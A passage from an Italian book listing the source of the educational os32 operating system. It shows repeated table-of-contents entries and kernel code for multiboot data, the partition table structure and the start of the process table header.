119.4.5 kernel/driver/ata/ata_cmd_read_sectors.c 7087
119.4.6 kernel/driver/ata/ata_cmd_write_sectors.c 7089
119.4.7 kernel/driver/ata/ata_device.c 7091
119.4.8 kernel/driver/ata/ata_drq.c 7092
119.4.9 kernel/driver/ata/ata_init.c 7093
119.4.10 kernel/driver/ata/ata_lba28.c 7098
119.4.11 kernel/driver/ata/ata_public.c 7099
119.4.12 kernel/driver/ata/ata_rdy.c 7099
119.4.13 kernel/driver/ata/ata_reset.c 7101
119.4.14 kernel/driver/ata/ata_valid.c 7101
119.4.15 kernel/driver/kbd.h 7102
119.4.16 kernel/driver/kbd/kbd_isr.c 7102
119.4.17 kernel/driver/kbd/kbd_load.c 7104
119.4.18 kernel/driver/kbd/kbd_public.c 7106
119.4.19 kernel/driver/screen.h 7106
119.4.20 kernel/driver/screen/screen_clear.c 7107
119.4.21 kernel/driver/screen/screen_current.c 7108
119.4.22 kernel/driver/screen/screen_init.c 7108
119.4.23 kernel/driver/screen/screen_new_line.c 7109
119.4.24 kernel/driver/screen/screen_number.c 7110
119.4.25 kernel/driver/screen/screen_pointer.c 7111
119.4.26 kernel/driver/screen/screen_public.c 7111
119.4.27 kernel/driver/screen/screen_putc.c 7111
119.4.28 kernel/driver/screen/screen_scroll.c 7113
119.4.29 kernel/driver/screen/screen_select.c 7114
119.4.30 kernel/driver/screen/screen_update.c 7114
119.4.31 kernel/driver/tty.h 7116
119.4.32 kernel/driver/tty/tty_console.c 7116
119.4.33 kernel/driver/tty/tty_init.c 7117
119.4.34 kernel/driver/tty/tty_public.c 7119
119.4.35 kernel/driver/tty/tty_read.c 7119

119.4.36 kernel/driver/tty/tty_reference.c 7120
119.4.37 kernel/driver/tty/tty_write.c 7121

119.5 os32: «kernel/fs.h» 7121

119.5.1 kernel/fs/fd_dup.c 7131
119.5.2 kernel/fs/fd_reference.c 7133
119.5.3 kernel/fs/file_pipe_make.c 7134
119.5.4 kernel/fs/file_reference.c 7135
119.5.5 kernel/fs/file_stdio_dev_make.c 7136
119.5.6 kernel/fs/file_table.c 7137
119.5.7 kernel/fs/fs_init.c 7137
119.5.8 kernel/fs/inode_alloc.c 7137
119.5.9 kernel/fs/inode_check.c 7141
119.5.10 kernel/fs/inode_dir_empty.c 7142
119.5.11 kernel/fs/inode_file_read.c 7144
119.5.12 kernel/fs/inode_file_write.c 7146
119.5.13 kernel/fs/inode_free.c 7148
119.5.14 kernel/fs/inode_fzones_read.c 7149
119.5.15 kernel/fs/inode_fzones_write.c 7151
119.5.16 kernel/fs/inode_get.c 7152
119.5.17 kernel/fs/inode_pipe_make.c 7155
119.5.18 kernel/fs/inode_pipe_read.c 7157
119.5.19 kernel/fs/inode_pipe_write.c 7159
119.5.20 kernel/fs/inode_print.c 7161
119.5.21 kernel/fs/inode_put.c 7163
119.5.22 kernel/fs/inode_reference.c 7164
119.5.23 kernel/fs/inode_save.c 7166
119.5.24 kernel/fs/inode_stdio_dev_make.c 7167
119.5.25 kernel/fs/inode_table.c 7169
119.5.26 kernel/fs/inode_truncate.c 7169
119.5.27 kernel/fs/inode_zone.c 7172
119.5.28 kernel/fs/path_device.c 7180
119.5.29 kernel/fs/path_fix.c 7181
119.5.30 kernel/fs/path_full.c 7183
119.5.31 kernel/fs/path_inode.c 7184
119.5.32 kernel/fs/path_inode_link.c 7188
119.5.33 kernel/fs/sb_inode_status.c 7193
119.5.34 kernel/fs/sb_mount.c 7194
119.5.35 kernel/fs/sb_print.c 7197
119.5.36 kernel/fs/sb_public.c 7198

119.5.37 kernel/fs/sb_reference.c 7198
119.5.38 kernel/fs/sb_save.c 7199
119.5.39 kernel/fs/sb_zone_status.c 7201
119.5.40 kernel/fs/zone_alloc.c 7202
119.5.41 kernel/fs/zone_free.c 7203
119.5.42 kernel/fs/zone_print.c 7204
119.5.43 kernel/fs/zone_read.c 7205
119.5.44 kernel/fs/zone_write.c 7206

119.6 os32: «kernel/ibm_i386.h» 7207

119.6.1 kernel/ibm_i386/_in_32.s 7217
119.6.2 kernel/ibm_i386/_in_16.s 7218
119.6.3 kernel/ibm_i386/_in_8.s 7218
119.6.4 kernel/ibm_i386/_out_32.s 7219
119.6.5 kernel/ibm_i386/_out_16.s 7219
119.6.6 kernel/ibm_i386/_out_8.s 7220
119.6.7 kernel/ibm_i386/cli.s 7220
119.6.8 kernel/ibm_i386/gdt.c 7221
119.6.9 kernel/ibm_i386/gdt_load.s 7222
119.6.10 kernel/ibm_i386/gdt_print.c 7222
119.6.11 kernel/ibm_i386/gdt_public.c 7223
119.6.12 kernel/ibm_i386/gdt_segment.c 7223
119.6.13 kernel/ibm_i386/idt.c 7224
119.6.14 kernel/ibm_i386/idt_descriptor.c 7226
119.6.15 kernel/ibm_i386/idt_irq_remap.c 7227
119.6.16 kernel/ibm_i386/idt_load.s 7228
119.6.17 kernel/ibm_i386/idt_print.c 7228
119.6.18 kernel/ibm_i386/idt_public.c 7229
119.6.19 kernel/ibm_i386/irq_off.c 7229
119.6.20 kernel/ibm_i386/irq_on.c 7230
119.6.21 kernel/ibm_i386/isr.s 7231
119.6.22 kernel/ibm_i386/isr_exception_name.c 7245
119.6.23 kernel/ibm_i386/isr_exception_unrecoverable.c 7246
119.6.24 kernel/ibm_i386/isr_irq_clear.c 7246
119.6.25 kernel/ibm_i386/isr_irq_clear_pic1.c 7247
119.6.26 kernel/ibm_i386/isr_irq_clear_pic2.c 7247
119.6.27 kernel/ibm_i386/sti.s 7247

119.7 os32: «kernel/lib_k.h» 7248

119.7.1 kernel/lib_k/k_exit.s 7254

119.7.2 kernel/lib_k/k_gets.c 7255
119.7.3 kernel/lib_k/k_perror.c 7255
119.7.4 kernel/lib_k/k_printf.c 7256
119.7.5 kernel/lib_k/k_sleep.c 7256
119.7.6 kernel/lib_k/k_stime.c 7257
119.7.7 kernel/lib_k/k_vprintf.c 7257
119.7.8 kernel/lib_k/k_vsprintf.c 7258

119.8 os32: «kernel/lib_s.h» 7259

119.8.1 kernel/lib_s/s__exit.c 7266
119.8.2 kernel/lib_s/s_brk.c 7269
119.8.3 kernel/lib_s/s_chdir.c 7275
119.8.4 kernel/lib_s/s_chmod.c 7276
119.8.5 kernel/lib_s/s_chown.c 7277
119.8.6 kernel/lib_s/s_clock.c 7278
119.8.7 kernel/lib_s/s_close.c 7278
119.8.8 kernel/lib_s/s_dup.c 7280
119.8.9 kernel/lib_s/s_dup2.c 7280
119.8.10 kernel/lib_s/s_fchmod.c 7281
119.8.11 kernel/lib_s/s_fchown.c 7282
119.8.12 kernel/lib_s/s_fcntl.c 7283
119.8.13 kernel/lib_s/s_fork.c 7285
119.8.14 kernel/lib_s/s_fstat.c 7291
119.8.15 kernel/lib_s/s_kill.c 7292
119.8.16 kernel/lib_s/s_link.c 7295
119.8.17 kernel/lib_s/s_longjmp.c 7296
119.8.18 kernel/lib_s/s_lseek.c 7297
119.8.19 kernel/lib_s/s_mkdir.c 7299
119.8.20 kernel/lib_s/s_mknod.c 7301
119.8.21 kernel/lib_s/s_mount.c 7303
119.8.22 kernel/lib_s/s_open.c 7304
119.8.23 kernel/lib_s/s_pipe.c 7310
119.8.24 kernel/lib_s/s_read.c 7312
119.8.25 kernel/lib_s/s_sbrk.c 7315
119.8.26 kernel/lib_s/s_setegid.c 7316
119.8.27 kernel/lib_s/s_seteuid.c 7317
119.8.28 kernel/lib_s/s_setgid.c 7317
119.8.29 kernel/lib_s/s_setjmp.c 7318
119.8.30 kernel/lib_s/s_setuid.c 7319
119.8.31 kernel/lib_s/s_signal.c 7320

119.8.32 kernel/lib_s/s_stat.c . . . 7321
119.8.33 kernel/lib_s/s_stime.c . . . 7323
119.8.34 kernel/lib_s/s_tcgetattr.c . . . 7323
119.8.35 kernel/lib_s/s_tcsetattr.c . . . 7325
119.8.36 kernel/lib_s/s_time.c . . . 7326
119.8.37 kernel/lib_s/s_umount.c . . . 7327
119.8.38 kernel/lib_s/s_unlink.c . . . 7329
119.8.39 kernel/lib_s/s_wait.c . . . 7333
119.8.40 kernel/lib_s/s_write.c . . . 7334

119.9 os32: «kernel/main.h» . . . 7337

119.9.1 kernel/main/build.h . . . 7344
119.9.2 kernel/main/crt0.s . . . 7344
119.9.3 kernel/main/kmain.c . . . 7345
119.9.4 kernel/main/menu.c . . . 7351
119.9.5 kernel/main/run.c . . . 7352
119.9.6 kernel/main/stack.s . . . 7353

119.10 os32: «kernel/memory.h» . . . 7353

119.10.1 kernel/memory/mb_alloc.c . . . 7360
119.10.2 kernel/memory/mb_alloc_size.c . . . 7362
119.10.3 kernel/memory/mb_clean.c . . . 7364
119.10.4 kernel/memory/mb_free.c . . . 7364
119.10.5 kernel/memory/mb_print.c . . . 7366
119.10.6 kernel/memory/mb_public.c . . . 7368
119.10.7 kernel/memory/mb_reduce.c . . . 7368
119.10.8 kernel/memory/mb_reference.c . . . 7369
119.10.9 kernel/memory/mb_size.c . . . 7369

119.11 os32: «kernel/multiboot.h» . . . 7370

119.11.1 kernel/multiboot/mboot_public.c . . . 7376
119.11.2 kernel/multiboot/mboot_save.c . . . 7376

119.12 os32: «kernel/part.h» . . . 7377

119.13 os32: «kernel/proc.h» . . . 7384

119.13.1 kernel/proc/proc_available.c . . . 7393
119.13.2 kernel/proc/proc_dump_memory.c . . . 7394
119.13.3 kernel/proc/proc_init.c . . . 7395
119.13.4 kernel/proc/proc_offset_data_to_pointer.c . . . 7399
119.13.5 kernel/proc/proc_print.c . . . 7399

119.13.6 kernel/proc/proc_public.c 7401
119.13.7 kernel/proc/proc_reference.c 7402
119.13.8 kernel/proc/proc_sch_signals.c 7402
119.13.9 kernel/proc/proc_sch_terminals.c 7403
119.13.10 kernel/proc/proc_sch_timers.c 7410
119.13.11 kernel/proc/proc_scheduler.c 7411
119.13.12 kernel/proc/proc_sig_chld.c 7415
119.13.13 kernel/proc/proc_sig_cont.c 7416
119.13.14 kernel/proc/proc_sig_core.c 7416
119.13.15 kernel/proc/proc_sig_handler.c 7418
119.13.16 kernel/proc/proc_sig_ignore.c 7422
119.13.17 kernel/proc/proc_sig_off.c 7423
119.13.18 kernel/proc/proc_sig_on.c 7423
119.13.19 kernel/proc/proc_sig_status.c 7423
119.13.20 kernel/proc/proc_sig_stop.c 7424
119.13.21 kernel/proc/proc_sig_term.c 7424
119.13.22 kernel/proc/proc_sys_exec.c 7425
119.13.23 kernel/proc/proc_timer_init.c 7440
119.13.24 kernel/proc/proc_wakeup_pipe_read.c 7441
119.13.25 kernel/proc/proc_wakeup_pipe_write.c 7441
119.13.26 kernel/proc/proc_wakeup_terminal.c 7442
119.13.27 kernel/proc/sysroutine.c 7443

119.11.1 kernel/multiboot/mboot_public.c

Si veda la sezione 118.12.

```
2000001 #include <kernel/multiboot.h>
2000002 //----------------------------------------------------------------------
2000003 multiboot_t multiboot;
```

119.11.2 kernel/multiboot/mboot_save.c

Si veda la sezione 118.12.

```
2010001 #include <kernel/multiboot.h>
2010002 #include <string.h>
2010003 #include <kernel/lib_k.h>
2010004 //----------------------------------------------------------------------
2010005 void
2010006 mboot_save (multiboot_t *mboot_data)
2010007 {
2010008     multiboot.flags = mboot_data->flags;
```

```
2010009     //
2010010     if ((mboot_data->flags & 1) > 0)
2010011       {
2010012         multiboot.mem_lower = mboot_data->mem_lower;
2010013         multiboot.mem_upper = mboot_data->mem_upper;
2010014       }
2010015     if ((mboot_data->flags & 2) > 0)
2010016       {
2010017         multiboot.boot_device = mboot_data->boot_device;
2010018       }
2010019     if ((mboot_data->flags & 4) > 0)
2010020       {
2010021         strncpy (multiboot.cmdline, mboot_data->cmdline,
2010022         MBOOT_CMDLINE_MAX);
2010023       }
2010024 }
```

119.12 os32: «kernel/part.h»

Si veda la sezione 118.13.

```
2020001 #ifndef _KERNEL_PART_H
2020002 #define _KERNEL_PART_H    1
2020003
2020004
2020005 typedef struct {
2020006   uint8_t  active;      // boot indicator 0 or PART_ACTIVE
2020007   uint8_t  h_start;     // head value for first sector
2020008   uint8_t  s_start;     // sector value + cyl bits for first sector
2020009   uint8_t  c_start;     // track value for first sector
2020010   uint8_t  type;        // partition type
2020011   uint8_t  h_last;      // head value for last sector
2020012   uint8_t  s_last;      // sector value + cyl bits for last sector
2020013   uint8_t  c_last;      // track value for last sector
2020014   uint32_t l_start;     // logical first sector
2020015   uint32_t size;        // size of partition in sectors
2020016 } part_t;
2020017
2020018 #define PART_ACTIVE     0x80    // value for active partition
2020019 #define PART_MAX        4       // number of entries in partition table
2020020 #define PART_TABLE_OFF  0x1BE   // offset of partition table in boot sector
2020021
2020022 //
2020023 // Partition types.
2020024 //
2020025 #define PART_TYPE_NONE      0x00  // unused entry
2020026 #define PART_TYPE_NO_PART   0xFF  // full device
2020027 #define PART_TYPE_MINIX     0x81  // Minix partition type
2020028 #define PART_TYPE_OLDMINIX  0x80  // Minix 1 old partition type
2020029 #define PART_TYPE_EXT       0x05  // extended partition
2020030
```

```
2020031
2020032 #endif
```

119.1 os32: directory principale 7031

119.1.1 applic.sep.ld 7031
119.1.2 bochs 7032
119.1.3 elf-to-os32 7032
119.1.4 kernel.ld 7034
119.1.5 makeit.sep 7035
119.1.6 qemu 7042

119.2 os32: «kernel/blk.h» 7043

119.2.1 kernel/blk/blk_ata.c 7050
119.2.2 kernel/blk/blk_cache_check.c 7052
119.2.3 kernel/blk/blk_cache_init.c 7052
119.2.4 kernel/blk/blk_cache_read.c 7053
119.2.5 kernel/blk/blk_cache_save.c 7054
119.2.6 kernel/blk/blk_public.c 7055

119.3 os32: «kernel/dev.h» 7055

119.3.1 kernel/dev/dev_ata.c 7062
119.3.2 kernel/dev/dev_dm.c 7064
119.3.3 kernel/dev/dev_io.c 7065
119.3.4 kernel/dev/dev_kmem.c 7066
119.3.5 kernel/dev/dev_mem.c 7070
119.3.6 kernel/dev/dev_tty.c 7072

119.4 os32: «kernel/dm.h» 7074

119.4.1 kernel/dm/dm_init.c 7080
119.4.2 kernel/dm/dm_public.c 7083
119.4.3 kernel/driver/ata.h 7083
119.4.4 kernel/driver/ata/ata_cmd_identify_device.c 7086
119.4.5 kernel/driver/ata/ata_cmd_read_sectors.c 7087
119.4.6 kernel/driver/ata/ata_cmd_write_sectors.c 7089
119.4.7 kernel/driver/ata/ata_device.c 7091
119.4.8 kernel/driver/ata/ata_drq.c 7092
119.4.9 kernel/driver/ata/ata_init.c 7093
119.4.10 kernel/driver/ata/ata_lba28.c 7098
119.4.11 kernel/driver/ata/ata_public.c 7099
119.4.12 kernel/driver/ata/ata_rdy.c 7099

119.4.13 kernel/driver/ata/ata_reset.c 7101
119.4.14 kernel/driver/ata/ata_valid.c 7101
119.4.15 kernel/driver/kbd.h 7102
119.4.16 kernel/driver/kbd/kbd_isr.c 7102
119.4.17 kernel/driver/kbd/kbd_load.c 7104
119.4.18 kernel/driver/kbd/kbd_public.c 7106
119.4.19 kernel/driver/screen.h 7106
119.4.20 kernel/driver/screen/screen_clear.c 7107
119.4.21 kernel/driver/screen/screen_current.c 7108
119.4.22 kernel/driver/screen/screen_init.c 7108
119.4.23 kernel/driver/screen/screen_new_line.c 7109
119.4.24 kernel/driver/screen/screen_number.c 7110
119.4.25 kernel/driver/screen/screen_pointer.c 7111
119.4.26 kernel/driver/screen/screen_public.c 7111
119.4.27 kernel/driver/screen/screen_putc.c 7111
119.4.28 kernel/driver/screen/screen_scroll.c 7113
119.4.29 kernel/driver/screen/screen_select.c 7114
119.4.30 kernel/driver/screen/screen_update.c 7114
119.4.31 kernel/driver/tty.h 7116
119.4.32 kernel/driver/tty/tty_console.c 7116
119.4.33 kernel/driver/tty/tty_init.c 7117
119.4.34 kernel/driver/tty/tty_public.c 7119
119.4.35 kernel/driver/tty/tty_read.c 7119
119.4.36 kernel/driver/tty/tty_reference.c 7120
119.4.37 kernel/driver/tty/tty_write.c 7121

119.5 os32: «kernel/fs.h» 7121

119.5.1 kernel/fs/fd_dup.c 7131
119.5.2 kernel/fs/fd_reference.c 7133
119.5.3 kernel/fs/file_pipe_make.c 7134
119.5.4 kernel/fs/file_reference.c 7135
119.5.5 kernel/fs/file_stdio_dev_make.c 7136
119.5.6 kernel/fs/file_table.c 7137
119.5.7 kernel/fs/fs_init.c 7137
119.5.8 kernel/fs/inode_alloc.c 7137
119.5.9 kernel/fs/inode_check.c 7141
119.5.10 kernel/fs/inode_dir_empty.c 7142
119.5.11 kernel/fs/inode_file_read.c 7144
119.5.12 kernel/fs/inode_file_write.c 7146
119.5.13 kernel/fs/inode_free.c 7148

119.5.14 kernel/fs/inode_fzones_read.c 7149
119.5.15 kernel/fs/inode_fzones_write.c 7151
119.5.16 kernel/fs/inode_get.c 7152
119.5.17 kernel/fs/inode_pipe_make.c 7155
119.5.18 kernel/fs/inode_pipe_read.c 7157
119.5.19 kernel/fs/inode_pipe_write.c 7159
119.5.20 kernel/fs/inode_print.c 7161
119.5.21 kernel/fs/inode_put.c 7163
119.5.22 kernel/fs/inode_reference.c 7164
119.5.23 kernel/fs/inode_save.c 7166
119.5.24 kernel/fs/inode_stdio_dev_make.c 7167
119.5.25 kernel/fs/inode_table.c 7169
119.5.26 kernel/fs/inode_truncate.c 7169
119.5.27 kernel/fs/inode_zone.c 7172
119.5.28 kernel/fs/path_device.c 7180
119.5.29 kernel/fs/path_fix.c 7181
119.5.30 kernel/fs/path_full.c 7183
119.5.31 kernel/fs/path_inode.c 7184
119.5.32 kernel/fs/path_inode_link.c 7188
119.5.33 kernel/fs/sb_inode_status.c 7193
119.5.34 kernel/fs/sb_mount.c 7194
119.5.35 kernel/fs/sb_print.c 7197
119.5.36 kernel/fs/sb_public.c 7198
119.5.37 kernel/fs/sb_reference.c 7198
119.5.38 kernel/fs/sb_save.c 7199
119.5.39 kernel/fs/sb_zone_status.c 7201
119.5.40 kernel/fs/zone_alloc.c 7202
119.5.41 kernel/fs/zone_free.c 7203
119.5.42 kernel/fs/zone_print.c 7204
119.5.43 kernel/fs/zone_read.c 7205
119.5.44 kernel/fs/zone_write.c 7206

119.6 os32: «kernel/ibm_i386.h» 7207

119.6.1 kernel/ibm_i386/_in_32.s 7217
119.6.2 kernel/ibm_i386/_in_16.s 7218
119.6.3 kernel/ibm_i386/_in_8.s 7218
119.6.4 kernel/ibm_i386/_out_32.s 7219
119.6.5 kernel/ibm_i386/_out_16.s 7219
119.6.6 kernel/ibm_i386/_out_8.s 7220
119.6.7 kernel/ibm_i386/cli.s 7220

119.6.8 kernel/ibm_i386/gdt.c 7221
119.6.9 kernel/ibm_i386/gdt_load.s 7222
119.6.10 kernel/ibm_i386/gdt_print.c 7222
119.6.11 kernel/ibm_i386/gdt_public.c 7223
119.6.12 kernel/ibm_i386/gdt_segment.c 7223
119.6.13 kernel/ibm_i386/idt.c 7224
119.6.14 kernel/ibm_i386/idt_descriptor.c 7226
119.6.15 kernel/ibm_i386/idt_irq_remap.c 7227
119.6.16 kernel/ibm_i386/idt_load.s 7228
119.6.17 kernel/ibm_i386/idt_print.c 7228
119.6.18 kernel/ibm_i386/idt_public.c 7229
119.6.19 kernel/ibm_i386/irq_off.c 7229
119.6.20 kernel/ibm_i386/irq_on.c 7230
119.6.21 kernel/ibm_i386/isr.s 7231
119.6.22 kernel/ibm_i386/isr_exception_name.c 7245
119.6.23 kernel/ibm_i386/isr_exception_unrecoverable.c 7246
119.6.24 kernel/ibm_i386/isr_irq_clear.c 7246
119.6.25 kernel/ibm_i386/isr_irq_clear_pic1.c 7247
119.6.26 kernel/ibm_i386/isr_irq_clear_pic2.c 7247
119.6.27 kernel/ibm_i386/sti.s 7247

119.7 os32: «kernel/lib_k.h» 7248

119.7.1 kernel/lib_k/k_exit.s 7254
119.7.2 kernel/lib_k/k_gets.c 7255
119.7.3 kernel/lib_k/k_perror.c 7255
119.7.4 kernel/lib_k/k_printf.c 7256
119.7.5 kernel/lib_k/k_sleep.c 7256
119.7.6 kernel/lib_k/k_stime.c 7257
119.7.7 kernel/lib_k/k_vprintf.c 7257
119.7.8 kernel/lib_k/k_vsprintf.c 7258

119.8 os32: «kernel/lib_s.h» 7259

119.8.1 kernel/lib_s/s__exit.c 7266
119.8.2 kernel/lib_s/s_brk.c 7269
119.8.3 kernel/lib_s/s_chdir.c 7275
119.8.4 kernel/lib_s/s_chmod.c 7276
119.8.5 kernel/lib_s/s_chown.c 7277
119.8.6 kernel/lib_s/s_clock.c 7278
119.8.7 kernel/lib_s/s_close.c 7278
119.8.8 kernel/lib_s/s_dup.c 7280

119.8.9 kernel/lib_s/s_dup2.c 7280
119.8.10 kernel/lib_s/s_fchmod.c 7281
119.8.11 kernel/lib_s/s_fchown.c 7282
119.8.12 kernel/lib_s/s_fcntl.c 7283
119.8.13 kernel/lib_s/s_fork.c 7285
119.8.14 kernel/lib_s/s_fstat.c 7291
119.8.15 kernel/lib_s/s_kill.c 7292
119.8.16 kernel/lib_s/s_link.c 7295
119.8.17 kernel/lib_s/s_longjmp.c 7296
119.8.18 kernel/lib_s/s_lseek.c 7297
119.8.19 kernel/lib_s/s_mkdir.c 7299
119.8.20 kernel/lib_s/s_mknod.c 7301
119.8.21 kernel/lib_s/s_mount.c 7303
119.8.22 kernel/lib_s/s_open.c 7304
119.8.23 kernel/lib_s/s_pipe.c 7310
119.8.24 kernel/lib_s/s_read.c 7312
119.8.25 kernel/lib_s/s_sbrk.c 7315
119.8.26 kernel/lib_s/s_setegid.c 7316
119.8.27 kernel/lib_s/s_seteuid.c 7317
119.8.28 kernel/lib_s/s_setgid.c 7317
119.8.29 kernel/lib_s/s_setjmp.c 7318
119.8.30 kernel/lib_s/s_setuid.c 7319
119.8.31 kernel/lib_s/s_signal.c 7320
119.8.32 kernel/lib_s/s_stat.c 7321
119.8.33 kernel/lib_s/s_stime.c 7323
119.8.34 kernel/lib_s/s_tcgetattr.c 7323
119.8.35 kernel/lib_s/s_tcsetattr.c 7325
119.8.36 kernel/lib_s/s_time.c 7326
119.8.37 kernel/lib_s/s_umount.c 7327
119.8.38 kernel/lib_s/s_unlink.c 7329
119.8.39 kernel/lib_s/s_wait.c 7333
119.8.40 kernel/lib_s/s_write.c 7334

119.9 os32: «kernel/main.h» 7337

119.9.1 kernel/main/build.h 7344
119.9.2 kernel/main/crt0.s 7344
119.9.3 kernel/main/kmain.c 7345
119.9.4 kernel/main/menu.c 7351
119.9.5 kernel/main/run.c 7352
119.9.6 kernel/main/stack.s 7353

119.10 os32: «kernel/memory.h» 7353

119.10.1 kernel/memory/mb_alloc.c 7360
119.10.2 kernel/memory/mb_alloc_size.c 7362
119.10.3 kernel/memory/mb_clean.c 7364
119.10.4 kernel/memory/mb_free.c 7364
119.10.5 kernel/memory/mb_print.c 7366
119.10.6 kernel/memory/mb_public.c 7368
119.10.7 kernel/memory/mb_reduce.c 7368
119.10.8 kernel/memory/mb_reference.c 7369
119.10.9 kernel/memory/mb_size.c 7369

119.11 os32: «kernel/multiboot.h» 7370

119.11.1 kernel/multiboot/mboot_public.c 7376
119.11.2 kernel/multiboot/mboot_save.c 7376

119.12 os32: «kernel/part.h» 7377

119.13 os32: «kernel/proc.h» 7384

119.13.1 kernel/proc/proc_available.c 7393
119.13.2 kernel/proc/proc_dump_memory.c 7394
119.13.3 kernel/proc/proc_init.c 7395
119.13.4 kernel/proc/proc_offset_data_to_pointer.c 7399
119.13.5 kernel/proc/proc_print.c 7399
119.13.6 kernel/proc/proc_public.c 7401
119.13.7 kernel/proc/proc_reference.c 7402
119.13.8 kernel/proc/proc_sch_signals.c 7402
119.13.9 kernel/proc/proc_sch_terminals.c 7403
119.13.10 kernel/proc/proc_sch_timers.c 7410
119.13.11 kernel/proc/proc_scheduler.c 7411
119.13.12 kernel/proc/proc_sig_chld.c 7415
119.13.13 kernel/proc/proc_sig_cont.c 7416
119.13.14 kernel/proc/proc_sig_core.c 7416
119.13.15 kernel/proc/proc_sig_handler.c 7418
119.13.16 kernel/proc/proc_sig_ignore.c 7422
119.13.17 kernel/proc/proc_sig_off.c 7423
119.13.18 kernel/proc/proc_sig_on.c 7423
119.13.19 kernel/proc/proc_sig_status.c 7423
119.13.20 kernel/proc/proc_sig_stop.c 7424
119.13.21 kernel/proc/proc_sig_term.c 7424
119.13.22 kernel/proc/proc_sys_exec.c 7425

119.13.23 kernel/proc/proc_timer_init.c 7440
119.13.24 kernel/proc/proc_wakeup_pipe_read.c 7441
119.13.25 kernel/proc/proc_wakeup_pipe_write.c 7441
119.13.26 kernel/proc/proc_wakeup_terminal.c 7442
119.13.27 kernel/proc/sysroutine.c 7443

119.13 os32: «kernel/proc.h»

Si veda la sezione 118.14.

```
2030001 #ifndef _KERNEL_PROC_H
2030002 #define _KERNEL_PROC_H  1
2030003 //----------------------------------------------------------------------
2030004 #include <kernel/ibm_i386.h>
2030005 #include <kernel/dev.h>
2030006 #include <kernel/driver/tty.h>
2030007 #include <sys/types.h>
2030008 #include <sys/stat.h>
2030009 #include <kernel/fs.h>
2030010 #include <sys/os32.h>
2030011 #include <stddef.h>
2030012 #include <stdint.h>
2030013 #include <time.h>
2030014 //----------------------------------------------------------------------
2030015 #define CLOCK_FREQUENCY_DIVISOR     (3579545/3/CLOCKS_PER_SEC)    // [1]
2030016 //
2030017 // [1]
2030018 // Internal clock frequency is (3579545/3) Hz.
2030019 // This value is divided by CLOCK_FREQUENCY_DIVISOR, giving 100 Hz.
2030020 // The divisor value if fixed, because the code suppose that the
2030021 // clock frequency is 100 Hz!
2030022 //
2030023 //----------------------------------------------------------------------
2030024 #define PROC_EMPTY                        0
2030025 #define PROC_CREATED                      1
2030026 #define PROC_READY                        2
2030027 #define PROC_RUNNING                      3
2030028 #define PROC_SLEEPING                     4
2030029 #define PROC_ZOMBIE                       5
2030030 //----------------------------------------------------------------------
2030031 #define MAGIC_OS32_APPL        0x6F7333326170706CLL  // os32appl
2030032 //----------------------------------------------------------------------
2030033 #define PROCESS_MAX   ((GDT_ITEMS/2)-1)  // Process slots.
2030034 #define MAX_SIGNALS   31                 // Max signal number.
2030035 //
2030036 typedef struct {
2030037     pid_t            ppid;              // Parent PID.
2030038     pid_t            pgrp;              // Process group ID.
2030039     uid_t            uid;               // Real user ID
2030040     uid_t            euid;              // Effective user ID.
```

```
2030041     uid_t              suid;              // Saved user ID.
2030042     gid_t              gid;               // Real group ID
2030043     gid_t              egid;              // Effective group ID.
2030044     gid_t              sgid;              // Saved group ID.
2030045     dev_t              device_tty;        // Controlling terminal.
2030046     char               path_cwd[PATH_MAX];
2030047                                           // Working directory path.
2030048     inode_t           *inode_cwd;         // Working directory inode.
2030049     int                umask;             // File creation mask.
2030050     unsigned long int sig_status;         // Active signals.
2030051     unsigned long int sig_ignore;         // Signals to be ignored.
2030052     uintptr_t          sig_handler[MAX_SIGNALS];  // Opt. sig. handlers.
2030053     uintptr_t          sig_handler_wrapper;       // Special wrapper.
2030054     clock_t            usage;             // Clock ticks CPU time usage.
2030055     unsigned int       status;
2030056     int                wakeup_events;     // Wake up for something.
2030057     int                wakeup_signal;     // Signal waited.
2030058     unsigned int       wakeup_timer;      // Seconds to wait for.
2030059     inode_t           *wakeup_inode;      // Inode waited.
2030060     addr_t             address_text;
2030061     size_t             domain_text;
2030062     addr_t             address_data;
2030063     size_t             domain_data;
2030064     size_t             domain_stack;      // Included inside the data.
2030065     size_t             extra_data;        // Extra data for 'brk()'.
2030066     uint32_t           sp;
2030067     int                ret;
2030068     char               name[PATH_MAX];
2030069     fd_t               fd[FOPEN_MAX];
2030070 } proc_t;
2030071 //
2030072 extern proc_t   proc_table[PROCESS_MAX];
2030073 //
2030074 // ATTENTION: THERE IS NO WAY TO KEEP THE STACK DOMAIN IN A DIFFERENT
2030075 //            ADDRESS SPACE THAN THE OTHER DATA. There is a simple
2030076 //            explanation for such limitation: A POINTER TO DATA INSIDE
2030077 //            THE STACK, CANNOT BE REACHED IF IT IS NOT INSIDE THE SAME
2030078 //            ADDRESS SPACE!
2030079 //
2030080 //            For the same reason, data or stack, cannot be moved
2030081 //            (shifted) down, when more space is needed, because
2030082 //            previous pointers would not work! So, to develop an
2030083 //            extensible 'malloc' area, such memory is to be placed
2030084 //            *after* the stack, moving *all* the data segment if
2030085 //            necessary.
2030086 //----------------------------------------------------------------------
2030087 extern pid_t                 proc_current;
2030088 extern uint32_t              proc_stack_pointer;
2030089 extern uint16_t              proc_stack_segment_selector;
2030090 extern unsigned int          proc_loops_per_clock;
2030091 //----------------------------------------------------------------------
2030092 typedef struct {
```

```
2030093     uint32_t filler0;
2030094     uint64_t magic;
2030095     uint32_t data_offset;
2030096     uint32_t etext;
2030097     uint32_t edata;
2030098     uint32_t ebss;
2030099     uint32_t ssize;
2030100 } header_t;
2030101 //----------------------------------------------------------------------
2030102 typedef struct {
2030103     uint32_t     eax;
2030104     uint32_t     ecx;
2030105     uint32_t     edx;
2030106     uint32_t     ebx;
2030107     uint32_t     ebp;
2030108     uint32_t     esi;
2030109     uint32_t     edi;
2030110     uint32_t     ds;
2030111     uint32_t     es;
2030112     uint32_t     fs;
2030113     uint32_t     gs;
2030114     uint32_t     eip;
2030115     uint32_t     cs;
2030116     uint32_t     eflags;
2030117 } stack_t;
2030118 //----------------------------------------------------------------------
2030119 void         proc_init          (void);
2030120 void         proc_timer_init    (clock_t freq);
2030121 void         proc_delay         (void);
2030122 void         proc_scheduler     (void);
2030123 void         sysroutine         (uint32_t syscallnr, uint32_t msg_off,
2030124                                  uint32_t msg_size);
2030125 void        *proc_offset_data_to_pointer
2030126                                 (pid_t pid, addr_t addr_data);
2030127 proc_t      *proc_reference     (pid_t pid);
2030128 void         proc_print         (void);
2030129 //----------------------------------------------------------------------
2030130 int          proc_sys_exec      (pid_t pid, const char *path,
2030131                                  unsigned int argc, char *arg_data,
2030132                                  unsigned int envc, char *env_data);
